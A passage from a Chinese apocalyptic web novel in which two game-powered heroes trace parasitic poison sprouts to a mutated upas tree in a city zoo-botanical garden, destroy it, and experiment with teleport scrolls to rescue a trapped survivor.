他坐上车，江朗一踩油门，开向了他们昨天最后清理的那个小区的位置. “那是什么？” “什么什么？” 男人下意识地回答了这么一句之后，看向对方视线的方向，看了半天之后只看见一株从水泥地里长出来的新芽，他瞬间点烦躁——这人是不是有病，大难临头了还这么有好奇心。 其他人也被吸引了注意力，虽然确实大难临头，但是也没人规定死到临头了就要把好奇心丢掉吧。 他们陆陆续续走到窗边。 有人忍不住惊叹生命的顽强，虽然他们昨天才经历了一番让他感慨生命是多么脆弱的经历。 而且现在他们这些为数不多的幸存者，正窝在动植物园的服务站里希望服务站里这些食物够他们在撑到救援到来之前不用陷入该吃哪个同伴这样绝望的文明丧失的境地中。 “这就是生命吧，哪怕被无限打压，封锁，埋在钢筋水泥地下的种子，也依旧会努力破土而出。” 男人嫌恶地看了眼这个突然抒发起小学作文般感慨的莫名其妙的人来，读书读傻了吧，什么都能来个升华主题。 简直有病。 什么生命的顽强？难道情况还不够显眼吗？从昨天开始，周围的许多人突然变成怪物先不提，动植物明显都有了更强的生机，别说这种被埋在水泥地下的种子了，昨天他们还看见不少基本已经枯干的树重新发芽呢。 这明明就是昭示了他们现在的处境有多么糟糕的一个切面。 不论是诗意而乐观的评价，还是现实且悲观的审视，都没能阻挡那株新芽越长越大。 “我怎么感觉……这苗抽得也太快了呢。” 一个本地老太忍不住吐槽。 “是啊……这也太快了吧。” 旁边有人附和，他们逐渐都围到了窗边，去看这株奇怪的新芽抽条。 只有那个始终一脸烦闷的男人挪都懒得挪一下，他要保存每一丝能量，鬼知道最后会不会就差这动一下的能量就能活下来。 然后他看见窗边的每个人都倒了下来。 那也是他看见的最后一个画面了。 第34章 第 34 章 植物园惊魂（二） 江朗小小声快速念完咒语, 一道黑光从天而降清理了面前这个商区的污染物。 “走，下一个。” 转头一看，陆燃早就已经坐在车里了, 就等着他上车开呢。 可能是因为这片是非常繁华的商区，也可能是因为已经过去一整天了, 他们能见到的幸存者越来越少, 今天一早上都没见到几个活人。 江朗上车后，一边和陆燃讨论着明天要不要优先考虑去一些偏远的地方，这样或许能救到的人多一点，不过相应的, 偏远地区的人可能在需要救助的程度上没有这些人群密集地区高, 一边朝着原定的方向继续开。 不知道开过哪里的时候, 他们的游戏系统里突然显示, 他们被挂上了一个名为“中毒”的流血buff。 掉血的数值并不高，但江朗的神色立刻严肃起来： “我草, 这里有异变方向为毒的污染物？？还是这种通过空气传播的毒素？那得赶紧清掉, 这万一让它进化了，杀伤范围就太大了。” 陆燃点了点头, 在江朗停下车的一瞬间就跳下了车。 他看向周围, 说实话，就算他们不是因为有游戏系统所以可以清楚看见自己被挂了个“中毒”buff, 应该也很容易推测出这一点。 因为这附近的污染物都死得七七八八了。 他将路上所有的尸体都纳入视线范围, 然后他意识到, 这个异变方向为毒的污染物要么是后期迁移过来的, 要么是后期才进化出通过空气传播毒素的能力。 因为这里少数的没异变的人类尸体死得都不是很安详，显然不是死于无声无息的毒素，而是死在其他污染物手上。 而且大部分地方都有污染物相互缠斗的痕迹, 战斗痕迹之重，不可能是一时半会儿形成的，至少也该打了十几个小时。 江朗停好车，也跳了下来：“怎么样？有找到目标吗？” 他这么问是因为，单纯用他的两只眼睛看，他感觉这里就没有一个活着的东西。 用耳朵听也一样，根本什么生物的动静都听不见。 陆燃放出大范围精神链接。 然后他睁开眼，摇了摇头，示意江朗，他在自己的意识空间里一个代表着意识的光点都没看见。 两个人又沿着这条街走了会儿，每当精神链接的冷却期结束，陆燃就放一个，试图找出这个潜伏着的下毒者。 不过很快他们就发现，不用这么麻烦了，因为他们要找的东西就在路中央。 在这条街的拐角处，有连绵不断的一片尸体，而最远处的那具尸体，嘴中长出了一根嫩绿色的枝条。 这根翠绿欲滴的枝条插在它嘴巴里的大小刚刚好，简直像这具尸体是为它量身定制的花盆一般。 而离他们两人更近一些的那些尸体呢，它们嘴中则堪堪才抽出嫩芽，还没来得及长到“恰好合适”的大小与高度，看上去有点像刚被移植到大花盆里的小苗，颇有些不和谐。 这异象过于显眼，傻子都知道有问题了。 不过他们并没有急着攻击，反正这里已经没有活人可以救了，迟一点早一点也不耽误什么。 先找到造成这一场面的源头比较重要。 这些绿芽的生存模式，是很标准的寄生型污染物，这种污染物江朗在上一世见的也不少，就算不是有个母体不断在产生种子，肯定也至少有个源头。 如果找不到源头在哪，就算祓除了这里的污染物，情况也会一再重复。 陆燃和江朗很快将这片所有带有绿芽的尸体都看了一遍。 然后他们发现，源头倒是很好找，因为这里的所有尸体，都遵循着从内到外绿芽越来越低越来越小的辐射分布，他们只需要沿着绿芽变高的方向走，很快就走到了这些尸体的“中心”。 那里不光有几具口中的绿色新枝大到几乎已经要撑裂它们的脑袋的尸体，还有一株没有长在尸体上，而是长在地上的枝条。 陆燃和江朗对视一眼。 是它吗？ 两个人对着这玩意儿研究了半天，没看出什么特别之处，枝条十分细嫩，像是昨天或者今天刚抽出来的枝条。 见发现不了什么了，江朗看了眼陆燃，在陆燃点头后，他便三下五除二这附近所有带着绿芽的尸体全都用技能“清洗”了一遍。 几轮秘术师的技能轰下来，大道上所有的鲜绿得有些让人不安的嫩枝新芽全都瞬间枯萎。 而他们身上挂的那个中毒buff每秒减的血开始降低，所以这些奇怪的绿芽确实是毒的来源。 剩下的buff应该等这片地方空气里的毒素下降到一定浓度就会消失吧。 两人又在原地等了大概半小时，确认那株从地里长出来的绿芽没有任何复生苗头，才重新跳上车，并跳转车头。 之所以调转车头，是因为他们总感觉这事儿没那么简单就解决，所以想再观察一下周围有没有什么奇怪的地方。 尤其是他们之前清理过的方向。 陆燃刚刚就注意到这里的战斗痕迹明显不是短时间内能形成的，这意味着这些绿芽是后来入侵的外来物种，他们得去确认一下他们之前清理过的那些地方有没有被污染。 江朗朝昨天清理过的路段开去，他一边开陆燃一边放精神链接来弥补他们肉眼观察的局限性，碰上那种超出陆燃攻击范围的高楼大厦，江朗就停下车，陆燃用钩索上楼排查。 这样开了没多久，他们身上就真的是又被挂上了中毒debuff。 “还好回来看了眼。” “嗯。” 如果按照原本的清理路线继续走下去，并任由这些绿芽蔓延开来的话，他们之前就算白干了，救下来的人也要被毒死。 江朗洗地式攻击了一波，把这些绿芽全部杀死，然后两个人继续开着车在周围寻找。 大约来来回回开了快一个小时，总算把周围出现的这些奇怪绿芽清理干净了。 江朗有些滴汗，忍不住吐槽道：“东一块西一块的，也看不出是什么路线传播开来的，而且这才多久，居然就占了这么大一块地方，简直是蒲公英一样的传播力度……” 他这个比喻用得十分到位，这些绿苗虽然只要出现就是成片的，但是每一堆的位置都非常随机，而且相渐也挺远。 如果不是它们一旦落地，就必然会蔓延开一大堆，而且陆燃和江朗有游戏系统可以显示中毒buff，陆燃又有精神链接这个技能可以无死角地排查污染物，不然还真有些难办，不愧是C市，才过去一天就已经出现了这么难搞的污染物。 江朗吐槽完，又开出去好十几公里，这次没有再见过绿苗，两人终于松了口气。 此时天已经半黑，他们又沿着原本的方向清了一下污染物，找了个超市补充了一番物资，继续清理，月亮到了天正中的时候，两人就折返准备回仓库了。 回程的路上总是相对轻松一些，不需要时不时就停下来，只需要不停飞驰。 空荡荡的路况是最适合开车的，疾驰在空旷的没有红绿灯的大道上，两个人的心情都松快了不少。 直到他们两人在路上看见了熟悉的绿色树苗。 一阵刺耳的刹车声，然后紧接着是一句“草”。 江朗震惊地停下了车，陆燃也不禁皱起了眉头。 两人下车后，很快就认出了这里是哪儿。 这分明就是他们清理的第一处绿芽密集的地方。 那时候江朗洗地式攻击来来回回清理了好几遍，还让陆燃帮着确认了一下自己没有漏下任何活物才收手。 而现在，虽然天很黑，但是月亮格外明亮，更何况陆燃和江朗强化后的视觉可以让他们在夜间也能轻松视物。 因此，他们可以清晰地看见，那些从尸体上冒出来的，分明就是他们白天见过的绿芽。 江朗：“我靠，这玩意儿怎么还是野火烧不尽春风吹又生的呢……” 不过，哪怕他很努力在用轻松的语气淡化事情的严重性，他还是一点都笑不出来。 下午离开前还干干净净的街道，现在慢慢走过去，从低到高，尸体嘴里的绿苗在慢慢变高。 陆燃：“比较低的这边是我们白天清理过……一茬的。” 他思考了一下，最后还是用了“一茬”这个量词。 江朗很快也发现了这一点。 比较高的是那些白天看明明毫无异状的尸体上长出来的。 这样一想……似乎有些事就很明显了。 这些绿芽或许和毒气一样，都是靠空气传播的。 不是说有什么种子落在了尸体上，那些尸体就长出了绿芽，而是那些尸体一旦被毒气影响到，就会被同化。 而且这个同化过程显然有个潜伏期，他们白天来的时候，那些没长出绿芽的尸体应该就是还在潜伏期，直到他们离去后不知道多久，才爆发出来。 大概就是这样吧，只有这样才能解释现在的情况…… 但是如果是这样的话，他们又能做什么呢？ 他白天洗地式攻击的时候又不是没有带到过旁边这些没发芽的尸体，不妨碍它们现在一样发出了芽。 你要怎么杀死一个本来就是死物的东西呢？ 江朗求助地看向了陆燃。 陆燃不知道在想什么，安静地看着地面。 然后他突然抬起头，看向江朗：“那株，唯一不是长在尸体上的而是长在地上的芽好像没有复活。” 江朗四下瞅了几眼，按照白天的记忆找了找——好像还真是。 他蹲下身，研究了一下那棵白天的时候被他的技能轰得枯萎的枝条。 依旧是看不出什么特别的样子，就是正常的，枯萎的树枝模样，有点像被烧焦了的样子，非常符合生死规律的样子，但是和周围那些复活后依旧绿得诡异的枝条相比相比，它这样的正常反倒显得不是很正常了。 陆燃从背包里取了把小匕首出来——这是他背包里最接近铲子的东西了，然后在这株枯芽周边的泥土里开始撬了起来。 弄松了周围的土之后，陆燃伸出手拔了一下那株枯芽——纹丝不动。 江朗忍不住挑了挑眉，以这株枯芽的大小来看，它的根不该有那么深才对，陆燃都往土里挖了大约三厘米了，更何况这里是C市的绿化带，本身泥土就很松，照他小时候在山上玩耍的经验来说，应该随便拽一拽就能把这株不管是什么的植物连根拽起才对。 虽然污染物不能照常理这件事也很常理。 陆燃继续用匕首往下挖，江朗也早就掏出了他的匕首，和陆燃一人一边吭哧吭哧地挖起土来了。 两个人挖啊挖，挖啊挖，越挖越困惑——这株细芽的根，目前来说已经比它本身长出来的部分还要高两三倍了，而且不是那种细软的根系，扒开那些泥土，出现的主根始终非常粗壮结实。 挖到后来，两个人觉得匕首的效率实在太低，反正都已经挖出一个坑来了，已经有了借力的地方，两个人就干脆放下了匕首，直接上手刨了。 终于，在往下挖了将近一米之后，两个人终于看见了这株芽苗的根系底部。 根系底部扎根的，是一株更大的根。 第35章 第 35 章 植物园惊魂（三） 根系底部扎根的, 是一株更大的根。 两个人看着泥土里露出来的东西有点无语，但又有点明悟。 他们两人奋力挖出来的坑中，一道横亘于土地间的, 粗得像是地下埋的水管一样的根上面，就跟长出了枝条一般长着他们在泥土上方看见的这株芽苗的根。 而这条露出来的根蔓延的方向, 如果他们没记错的话, 那边也是一片毒气区。 看来事情很明显了，刚刚陆燃和江朗隐隐有些困惑的另一个问题也得到了解答——如果这些毒苗真是完全通过空气传播生长繁殖的，那么为什么毒气区，或者说被这些绿苗寄生了的尸体是一片一片的, 而且各有各的圆心, 最关键的是它们的蔓延仅限于一定范围内而没有直接蔓延到整个C市。 原来真正的传播途径在地下, 这些所有的“初始绿苗”都是由这片根系送出来的。 有了目标后, 江朗和陆燃跳上车，朝着这个根系的方向不停向前。 原本两人还有些担心会不会不好找目标。 哪怕有那些绿芽作指示, 但没准最后还是会需要再努力挖土来看看最终的方向在哪。 但是事实证明, 他们多虑了。 因为在沿着底部根系的方向不停向前后，他们远远地看见了市动植物园的牌子。 陆燃和江朗对视一眼, 直接全速朝动植物园的方向开车前进。 这概率实在太高了！大不了错了再回来看方向！ 驱车进入植物园两公里范围内后, 他们身上立刻出现了显示为“中毒”的流血debuff。 别说，不管这些绿芽的源头是什么, 它还挺聪明的, 以植物园为中心十几公里的这片地方, 完全没有任何绿芽存在的痕迹。 牺牲一定的传播来保证自己的安全和隐蔽。 他们这种在远处中招的人, 如果不是发现了不对并且挖到了地下，估计都找不到这么远来。 “这什么树啊……根能长这么远。” 江朗一边开车一边忍不住吐槽。 陆燃无语地看了他一眼：“都污染物了，还能用常理衡量吗？” 江朗忍不住叹气：“还真是, 也不知道它是祸祸了多少人才长得这么快，也合理吧……周末去动植物园玩的人应该很多，现在还是暑假，游客也多，越想越头疼……” 他一边忧伤地抱怨着，一边直接油门踩到了底，两人越靠近植物园，身上的流血debuff数值就越高，远超当初在发现第一处绿芽的区域里的流血速度——终于能在血条上看出来了，这说明他们的方向应该没错。 一阵刺耳的轮胎擦地声后，江朗把车停进了动植物园的停车场里。 “哇！居然还有空位！我们运气真好。” 陆燃：“……” 当然，他们跳下车后，江朗就没什么心思讲笑话了。 死寂，一片死寂。 他们并不是没见过惨烈的场面。 过去的这几十个小时里，他们见过了太多了末世前人群密集地区的惨状。 但是再惨烈，这些区域里也依旧有生物活动的声音和气息，毕竟污染物也是生物，至少不会安静到像是完全的死城一般。 而这里，不光完全没有幸存者，甚至没有任何幸存的污染物，就仿佛生命已经从概念上被这片区域抹除了一般，地上密密麻麻地倒着一片又一片的污染物尸体，而且干瘪异常，一看就是晶体被取走的状态。 安静得只能听见风吹过的声音。 哦，倒也不是完全的生命灭绝之地。 还有从尸体中抽出来的绿色的枝条。 无比鲜艳的，真就符合“青翠欲滴”这一形容的绿色。 如果换一个地方，大概会给人一种生机勃勃的，让人感受到生命希望的感觉。 但在这里，它越是生命力旺盛，就越是衬得这个地方鬼气森森，因为它的所有生命力，都来自于其他的生气的灭绝。 一想到这一点，这些绿色就显得鲜艳得有些诡异了。 他们两人沿着密密麻麻的花盆尸体朝里走去。 一边走一边放技能，顺便嗑点红药。 因为这里的绿芽密集程度已经高到，即使是他们两个人的等级和血条，也开始以肉眼可见的速度快速掉血，大概每十分钟需要补一瓶红药拉血线，不然血条容易进入危险状态。 也因此，他们边走边顺便放技能先清掉一点污染物，也没什么值得观察的了，这里的植物密得像是雨林一般。 “看。” 江朗突然指了指一个方向，陆燃一眼扫过去，就看见了江朗想要让他看的东西。 有一株绿色的枝条从水泥地里破土而出，长出来应该很久了，周围的水泥地一片皲裂。 他们看完它，又抬起头，映入眼帘的，是一座半球形的展馆，玻璃篷顶在阳光照射之下熠熠生辉，其中错落有致的钢筋无法遮挡展馆内那棵高大的乔木。 两人对视一眼——看起来，他们终于找到真正的源头了！. 水。 好想喝水。 林梦看着半空中好几个连成一片光晕，觉得自己大概要死了。 她头一次如此深刻地理解到“眼冒金星”是什么意思。 她眼前模糊一片，她依稀记得栈道那头的楼梯上，有一个荧光绿的书包，是那个小孩子背来的，书包右边的袋子里插着一个塑料大水杯，里面有水，很多很多水，虽然她其实已经什么都看不清了，别说这水杯了，就连那个书包在她眼中都是纯粹的模糊一片绿，但是一想到那个水杯曾经在她眼前晃来晃去的样子，她就觉得好渴好渴。 她总是忍不住瞥到那一片模糊的绿色，越瞥越渴，但就是忍不住。 其实很近很近，虽然她现在饿得眼冒金星，压根没什么力气起身，但是就这么一点距离，她爬也能爬过去，好想喝水啊……但是一旦打开那扇门，她知道自己就完蛋了。 她会变成地面上那些人的样子，不光死得凄惨，而且还要被当做那棵树寄生的宿主。 虽然结局都是死，也差不了多少小时，但是能多活一会儿，能死得体面一点，总是更好的。 想到这里，她艰难地转了一下脑袋的角度，看向箭毒木的树冠蔓延的方向。 已经离穹顶很近很近了。 一想到它打破这座玻璃穹顶后，外面的世界就也会变成里面这样，林梦就忍不住一阵寒颤。 如果……如果她有能力做什么就好了，如果她能阻止这一切就好了…… 是的，被困在这个栈道上导致林梦并不知道动植物园以及周围的区域早就已经沦陷了。 她仰着头，任由刺眼的阳光直直地照射进她的眼睛。 很快，她的眼睛里就多出了两个小黑点——这是直视阳光所必然带来的结果。 咦？ 等等，那好像不是她眼睛里的黑点。 她努力地睁大了眼睛，然后发现睁大眼睛没什么用，又眯起眼睛，试图让自己散乱一片的目光重新聚焦。 然后她看见了，是的，那并不是因为直视太阳而出现在她眼里的黑点。 因为这两个黑点在快速移动，她努力地眯起了眼睛，那分明是两个小小的人影，在不断接近穹顶，并且用了不知道什么手段猛地在穹顶上停了下来，然后……他们开始砸玻璃。 林梦猛地睁大了双眼。 虽然他们看着像是来救援的人员，但是他们不知道这座展馆里的情况！ 她一想到这隔断箭毒木与外界的穹顶被打破之后会出现的惨不忍睹的场景，就忍不住大喊了起来： “不要……” 好吧，并不是大喊，她喊出声的声音更类似于一个爆破音加上一段小小的叹气，她现在的喉咙状态根本不足以支撑她发出太大的音量。 绝望在林梦脸上逐渐攀爬，在这两人终于打破玻璃穹顶的那一瞬间爬到了她的两眼之中。 完了。 一切都完了。 她看着那两个人影从高处落下，仿佛已经看见了他们变成尸体的样子，不光是他们，还有外面的所有人，所有有幸在之前的巨变中幸存的人。 她好像能看见这下落的两人在空中就如同断线的风筝一般突然坠落，他们的脸上的表情，无论是焦急还是意气风发，都会凝固在那一刻，就像之前那个小孩一样…… 然后他们的尸体会重重地砸落在地上，这个高度，也许他们落下来会是一片血肉模糊，然后过上几小时，就会有鲜艳的绿芽从他们的尸体中长出来了，然后就是这条他们主动为这株箭毒木打开的通向外界的通道，用不了多久，全C市，甚至全世界都会变成这样吗…… 碎裂的玻璃坠落的声音在她耳边清晰可闻，她眼中的绝望不住地弥漫了开来。 但是……等等，这两个人安全落地了！ 居然没死！ 说实话，这个高度，林梦觉得就算他们没在中途就被毒死，跳下来也是一种纯找死的行为，毕竟穹顶到地面可是有四五层楼的高度，她只是光顾着担心他们被毒死才没来得及顾上担心他们被摔死。 而这两人也不知道是怎么做到的，在极速坠落到快地面时，两人轻巧地在空中一旋身，然后坠落速度猛地就慢了下来，最后，两人轻飘飘地落在了地上。 动作中甚至有几分轻描淡写的写意。 林梦不禁揉了揉自己的眼睛才确认那不是自己的幻觉。 他们看上去胸有成竹，哦……其实她这个位置压根看不见他们的脸，就算看得见也看不清，但是他们两人的背影中就透着一股子一切尽在掌握之中的自信，这种自信让林梦心中也不禁升起了希望，她艰难地移动着身体，趴到了玻璃栈道上，试图看清楚这两个人的身影和动作。 林梦的第一反应是，这是两个年轻人。 然后她锈住了的大脑转了转，才想明白为什么她会有这样的感受——这两个人的穿着，非常……年轻，就像是从什么漫展里刚走出来，就像是游戏里才能看见的装扮一样。 游戏。 她想起来了，异变刚发生的时候，地面上不就有个孩子也是类似的一身衣服吗？？ 她全都想起来了，所以……这两个也是类似于这样的异变者？而不是她一开始所想的专门的救援人员？ 但是那孩子不是和其他人一样……死掉了吗？ 这两个人如果是和那孩子一样的游戏方向的异变者的话，真的能成功吗？ 她眼前不停地浮现出当时的场景。 那孩子当时多意气风发啊，脸上带着天真的甚至有几分残忍的快意，他兴奋地以不应存在于现实中的力量毁灭了周围的所有怪物，却无声无息地死在了箭毒木的毒素下，毫无预兆地倒在了地上，脸上的表情永远凝固在了之前的一刻。 这两个人目前看来似乎很淡定，就像是箭毒木的毒素对他们不起作用一样，也许他们是有备而来？ 他们有什么解毒的手段吗？也许他们不是贸贸然打碎这玻璃穹顶的，而是真的一开始就知道自己要做什么？ 她的心不禁有些揪紧，她很明白，这种揪紧的感受来源于她真的对这两个人升起了希望，希望他们真的能活下来，战胜这棵变异的箭毒木，那样……也许她也能获救。 她自己都没注意到，明明刚刚还又饿又渴到两眼昏花，但她已经不知道从哪找到了力气坐了起来，双眼紧紧地盯着下方的动静。 但她又不敢抱太高的期望，其他获取异能的人是怎么倒在这株箭毒木前的她还印象深刻。 这两人一黑一白，其中白衣的不知道做了什么，银色的细线从他身体中蔓延了出来，那细线看起来有点像蛛网，其中一根毫无意外连接上了他面前的箭毒木，但是还有其他的在朝别的方向蔓延，大部分是朝着展馆外部而去。 咦……？等等！ 为什么有一条冲着她来了！ 她惊恐的表情凝固在了银色丝线接触到她的那一瞬间，因为那之后她就再也动不了了，不管她怎么努力想要挣脱。 为什么要攻击她？ 她……她是活人啊！ 等等……难道说她之前的担忧是真的？她其实早已变成怪物了？就跟其他人没有任何差别？她就说她怎么可能那么幸运啊！ 但很快，她就顾不得为自己的命运感到惊恐了。 因为地面上有了新的动静，他们不知道做了什么，地面上以那株箭毒木为圆心，开始泛起了一个黑色的光圈。！！ 好眼熟！！ 和当初那个孩子放出来的技能一模一样！ 所以这两个来的人真的就是和当时那个孩子一样的异变方向！ 她刚刚升起希望的双眼瞬间又灰暗了下来。 原来真的是一模一样的异变……她还以为…… 与此同时，那株箭毒木的树冠顶部也开始凝聚那个熟悉的黑色光圈。 当时那个孩子放的也是这个技能。 如果她现在还能动，大概会忍不住移开双眼，因为她不想看见接下去会发生的事。 那时候，那个孩子……死前，在释放的就是这么一个技能，他直直地向后倒下后，那道黑圈并未消散，而是就那样落下了。 杀死了其他污染物，却没对这株箭毒木造成任何影响。 除非说把它周围的草皮都变枯了算影响的话，那可能还是有一点点的吧。 嗯？等等。 当时那个小孩放出来的光圈有这么高这么大吗？她呆呆地看着从树冠顶部开始逐渐扩张的黑圈，那黑圈不停扩张，不停扩张，一直到能够笼罩住这整棵树还不够，还要接着肆无忌惮地继续扩张开去，她目测一下，半径大概已经有十米了。 林梦觉得自己好险是蜷缩在栈道的另一端，如果离得近点，或许就正好在那黑圈的覆盖范围之下了。 甚至就算她距离那黑圈还有一定距离，她都能感受到那股恐怖的压力，而这个距离观察之下，她发现，那道黑圈的质感非常奇妙，那是一种非常纯正的黑色，她原本称它为黑色光圈可能有些不太合适了，因为它没有任何光泽，就是一种纯粹的黑色，就连周围的光都像是在被微微吞噬。 她不禁感到一丝心惊肉跳，她总有种只要碰到一下那黑圈，她就会死无葬身之地的感觉，如果她能动，她现在一定在颤栗。 然后那道黑圈猛地落下，从上至下彻底扫过了那株箭毒木。 就像当初那个孩子放出的黑圈一样。 她没法闭眼，只能睁着眼看这一幕，她看电视都看不了太让人难受的画面，一想到释放这个技能的人可能会有多失望，她就不敢看了。 但是……树……干枯了？ 林梦有些没反应过来。 她呆呆地看着一秒钟前还绿得刺眼的箭毒木树冠，现在已经只能看见枯枝与枯叶了，而它的主干，也像是突然被抽走了所有水分一般，变得又干又脆，随时会化作粉末一般。 它也确实化作了粉末，巨大的一棵箭毒木，有三四层楼那么高的大树，就那么化作了灰，纷纷扬扬地在林梦面前落了下去。 她呆呆地看着这一幕，好半天才反应过来——她好像……得救了？. 地面上。 江朗一脸吃惊：“我去，这树血条这么厚的吗？一个吞噬减防叠你的心灵震荡减防，总共快四十减防了啊，一个湮灭之环下去居然才刚好收完。” 第36章 第 36 章 植物园惊魂（四） “这才多久, 这树进化得也太快了，不敢想我们再晚来一点它得进化成什么样了。” 江朗的语气中颇有几分心有余悸。 虽然他们现在打这棵树还是秒杀，但是它的成长速度太快了, 如果他们晚几天来，说不定就连他们两个都得花些力气才能祓除这个污染物。 陆燃缓慢地点了点头：“确实, 它这个传播能力有点bug。” 一个污染物, 如果只具有单纯的杀伤力，其实对他们来说没什么。 偏偏这个污染物既有S级的伤害，又有S级的传播能力，叠加之下, 快速掠夺了C市大量地区的污染物晶体, 才能在短短几十个小时内进化到这个地步, 并且肉眼可见之后只会进化得越来越快。 江朗使用了一下收集技能, 从这棵树化作的灰里拿到了它的晶体。 “……五级晶体。” 江朗的脸上不禁闪过一丝凝重。 C市的污染物密集度能使它在极短时间内就进化出三级污染物属于江朗早有预计的事，所以他们之前收集到三级晶体的时候, 他都没什么意外的感受, 也没有什么额外的想法。 但是污染物从三级开始，进化就非常困难了。 就像游戏前几级所需的经验和后面相比完全不是一回事一样, 污染物的升级也遵循着类似规则。 三级污染物通常来说是一条街的污染物里的胜者, 如果人口和生物密度大点，那么这个范围还能再压缩, 但是从三级污染物进化到四级污染物, 几乎需要一个大区的初始晶体, 从四级到五级需要的晶体数量又是几倍于上一级。 按照正常速度, 就算一个污染物再强，再勤勤恳恳，跟个恶魔一样努力工作, 日夜不休每分每秒地击杀周围的对手，再给它配上一个污染物密度较高的区域，现在顶多也就勉强摸到四级的边吧。 只能说这棵树的传播方式确实太变态了一点，且本身出生点就刷在了游客密集的动植物园。 江朗叹了口气，除了这棵树的能力太bug以外，也是C市实在人太多了，其他城市前期就算有类似的污染物，也没那么多污染物可供它们吸收升级。 五级污染物已经是一般小城市厮杀完毕后剩下的那个胜者了。 而如果真让这棵树不受限制地生长开去，它到六级也是指日可待的事，六级污染物就已经相当于一般满级游戏玩家了。 对他们两个人来说当然依旧能赢得轻松，但这座城市里的其他异能者和玩家恐怕就连存活都很困难了。 上一世……江朗现在大致能想象出一点C市当时的情况了。 这棵树长成之后，其他异能者和高级污染物大概都只有逃窜的份。 争斗，厮杀，资源分配，还有要不要在这里建立基地这种事，估计都完全没人在乎，因为在这里，唯一值得在乎的事就是该怎么逃。 然后有生存和保命技能的异能者和污染物逃离C市，只剩下一座被它彻底占领的飘荡着毒气的鬼城。 而且它不会因为整座城市都已经空无活物了就停下扩张的步伐，直到它的根系到达它的生长极限。 怪不得当初能从C市逃出来的异能者都那么强悍，又都那么沉默。 末世对他们格外严酷。 只能说还好他们来得早，将这污染物扼杀于了摇篮之中。 江朗沉浸于自己的思绪中时，陆燃的声音突然响了起来。 “刚刚控到了一个活人，在上面。” 江朗惊讶地睁大了眼睛：“这里还有活人？？” 陆燃伸出食指，指了指他们头顶那条观光用的玻璃栈道。 江朗仔细看了一下…… “！” 还真的有幸存者！ 他立刻三步并做两步踏上了上栈道的楼梯。 但他刚要打开那道紧锁的玻璃门，就突然想起——哦不对，这个幸存者之所以能活到现在，大概是因为这个玻璃栈道的门是严丝合缝的，毒素进不去，或者说就算能进去，那点剂量也没法致死一个人。 但是现在那污染物才刚死，它只是停止生产剧毒了而已，空气中原有的毒素没有那么容易散去，如果只有这个展馆是被毒素污染的区域可能也就算了，打破场馆之后外界有海量的新鲜空气，很快就能稀释完。 问题偏偏在于，这一整片地方都是毒气区。 但是……他观察了一下这个半倒在栈道里的年轻女人，她看上去应该很久没进食也没喝水了，脸色苍白，嘴唇皲裂，估计是末世刚来就被困在这里了，他有点担心他们不尽快把她救出来喂点水和食物的话，她这个唯一的幸存者可能也要被宣告死亡了…… 江朗有些头疼。 在他头疼的时候，陆燃也上来了。 江朗听到背后铁质楼梯的响动，头也不转地问：“呃……我们现在该怎么办？游戏道具里也没有解毒剂什么的……难道有吗？是我们收集漏了吗？” 陆燃肯定了他一开始的记忆，但也打破了他留存的希望：“没有。” 江朗有些丧气：“那该怎么办，等这片毒气消散……？感觉这姑娘还能不能活到那时候都是个问题。” 陆燃：“你是猪吗？” 江朗转过头来，无比诚恳地看向陆燃：“是的，我好像又猪了，陆燃老师，正确答案是什么？” 陆燃：“……” 陆燃：“你背包里上千个传送卷轴干什么用的？” 江朗满脸恍然大悟，猛地双手合十击了下掌：“对哦！” 是他惯性思维了，他光想着要怎么透过玻璃门把里面的幸存者挪出来，忘记了也可以是他们穿过玻璃门进去呀。 而且他在传送卷轴上也惯性思维了。 《神域》的玩家们早就习惯了《神域》的传送卷轴要比其他游戏难用一点，不能直接查一下坐标然后填上去就能传送到对应地点，非要玩家们自己去该地点拿传送卷轴记录坐标，虽然也很合理，毕竟这游戏的一大卖点就是野外地图的未知性与危险性，有传送卷轴来去自如的话，未知在哪，危险又在哪？ 但不管怎么样，这个设定还是饱受玩家吐槽，并由此刻进了每个《神域》玩家的DNA。 他也是玩家，这设定当然也在他的DNA里，所以他再一次忘记了，《神域》里很多东西的文字描述（宽泛描述）和精确描述（游戏里的效果）是不一样的。 传送卷轴也是其中之一，它的精确描述就是饱受玩家诟病的需要亲自前往该地点记录坐标后才能使用。 但它的文字描述其实是“你可以通过这个卷轴传送到你了如指掌的地点”。 而现实里这些他们从《神域》中带出来的技能道具一直以来遵从的都是文字描述。 而仔细想想，他们和栈道里面可是只隔了一道玻璃门，这难道不能说他们对栈道里的这个坐标点了如指掌吗？！ 江朗立刻兴奋了起来，不光是可以把人救下来了的喜悦，还有一种玩家的本能兴奋，没有哪个玩家可以抗拒试验游戏道具的bug用法的冲动。 他知道其实他和陆燃只用进去一个人就够了，这样比较省卷轴，但是玩家的本能还是让他想要亲身试验一下道具的逃课用法，所以他在陆燃掏出传送卷轴的时候，也掏出了一张。 没事，就像陆燃说的那样，他们两个人加起来有两千多张传送卷轴呢，拿来当饭吃都够了，浪费一两张问题不大。 嗯……但是问题来了，该怎么用呢？ 江朗有些挠头，下意识瞥向陆燃准备抄作业。 陆燃果然一脸胸有成竹，江朗看见他直接使用了这个卷轴，记录了下来他们现在所在位置的坐标，然后又往后退了一小步重新记录了一个坐标，对比了一下两张卷轴上的坐标差异，然后开始计算新的x轴和y轴的值，最后向卷轴内填入新的坐标值。 陆燃这一连串的操作看得他恍然大悟——好有道理！ 于是他立刻照猫画虎地照做了一遍。 只是，等他做到最后一步填坐标值的时候……咦？他怎么改不了？是他哪一步做错了吗？还是说有什么他不知道的细节要注意？ 他下意识抬起头，看向玻璃栈道内，却没看见陆燃的身影，然后才呆呆地转头回来看旁边，看见陆燃正一脸沉思地盯着面前的空气思考。 江朗：“……我靠，你也没进去啊？” 陆燃一脸困惑地看向他：“干嘛，我又没说这样能成功，还在试而已。” 江朗欲哭无泪——他看陆燃这么笃定！再加上陆燃一贯的战绩！ 他还以为陆燃是已经想到正确用法了才跟着用的啊！ 算了，也就多浪费一张而已，问题不大。 他立刻恢复了跃跃欲试的姿态：“所以下一个我们试什么？” 陆燃沉默了一会儿，然后结束了他的思考：“试试看直接填。” 他说着又取出了一张传送卷轴，没有选择游戏给出的记录选项，而是直接从口袋里掏出了一支笔，往上写下了一串坐标。 然后撕开卷轴。 江朗眼前一花，眨眼间，陆燃的身影就出现在了玻璃门那头。 他双眼一亮，立刻就要开始抄作业，陆燃却提前做了个摆手的手势阻止了他，然后开口： “&%#@！^……” 他确实是张嘴说了什么，但江朗在这头基本什么都没听见。 不是，这什么玻璃啊？隔音效果这么好？他现在这个听力都只能勉强听见陆燃在说话。 